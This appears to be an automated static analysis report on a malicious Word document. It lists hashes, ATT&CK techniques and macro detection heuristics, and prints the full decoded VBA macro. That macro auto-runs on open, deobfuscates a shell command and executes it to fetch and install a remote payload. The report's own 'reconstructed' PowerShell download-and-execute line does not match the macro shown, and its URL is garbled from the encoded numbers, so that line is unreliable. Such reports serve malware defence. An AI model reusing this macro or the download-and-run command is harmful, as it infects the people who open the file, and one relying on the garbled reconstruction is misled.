Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 5e43dbbacf2011c1…

MALICIOUS

Office (OOXML) / .DOCX

104.3 KB Created: 2020-05-01 22:17:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2020-09-07
MD5: 2c345e5852377648695d8805a20bb5ad SHA-1: 9778780beb58938d47dc4f8d09158ddc5d536af6 SHA-256: 5e43dbbacf2011c12d45d40e8435c41dd331ba2adf4f7df80bedf53b436ff78d
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open auto-execution subroutine. This macro uses CreateObject to instantiate a shell object and then executes obfuscated PowerShell code. The PowerShell command downloads and executes a second-stage payload from a hardcoded URL. The obfuscated PowerShell command is reconstructed as: cmd /c "powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://117.113.97.144:135/142.146.76.145.134.131.138.138')\"".

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wwhwxwvudltdwmgfrrzep = CreateObject(kztvtysycibbljbyphzm)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1283 bytes
SHA-256: de43393613f65ee568124fd39b925ff874e087ab58abe7b8db870326ce3ec21d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

clyli.iffesqhzyztcicgyfmfw


End Sub




Attribute VB_Name = "clyli"
Sub iffesqhzyztcicgyfmfw()
On Error Resume Next
kztvtysycibbljbyphzm = xvxvskpau("117 113 97 144 135 142 146 76 145 134 131 138 138")
Set wwhwxwvudltdwmgfrrzep = CreateObject(kztvtysycibbljbyphzm)
hsvflxwjgzvkagq = 0
oqpbtdxtgiotgtlb = xvxvskpau("67 97 109 107 113 110 99 97 67 62 77 97 62 139 145 124 135 99 124 150 124 131 129")
oqpbtdxtgiotgtlb = oqpbtdxtgiotgtlb & xvxvskpau("62 77 135 62 134 146 146 142 145 88 77 77 84 81 76 80 83 78 76 82 80 76 81 82 77 156 128 147 138 133 134 146 77 136 77 140 141 140 130 135 76 139 145 135 62 77 143 140 62")
wwhwxwvudltdwmgfrrzep.Run oqpbtdxtgiotgtlb, u_eqkuwncykuhelemujoc
End Sub
Function xvxvskpau(fcziusi_ As String) As String
Dim ujuhvbuar As Variant
xvxvskpau = ""
gdchxrce = " "
ujuhvbuar = Split(fcziusi_, " ")
For i = 0 To UBound(ujuhvbuar)
   xvxvskpau = xvxvskpau & Chr(CInt(ujuhvbuar(i)) - 30)
Next
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 295aa1c18f75529d10539a9e2bbf3b6595bcf94672cb682103ea6551c56747d9

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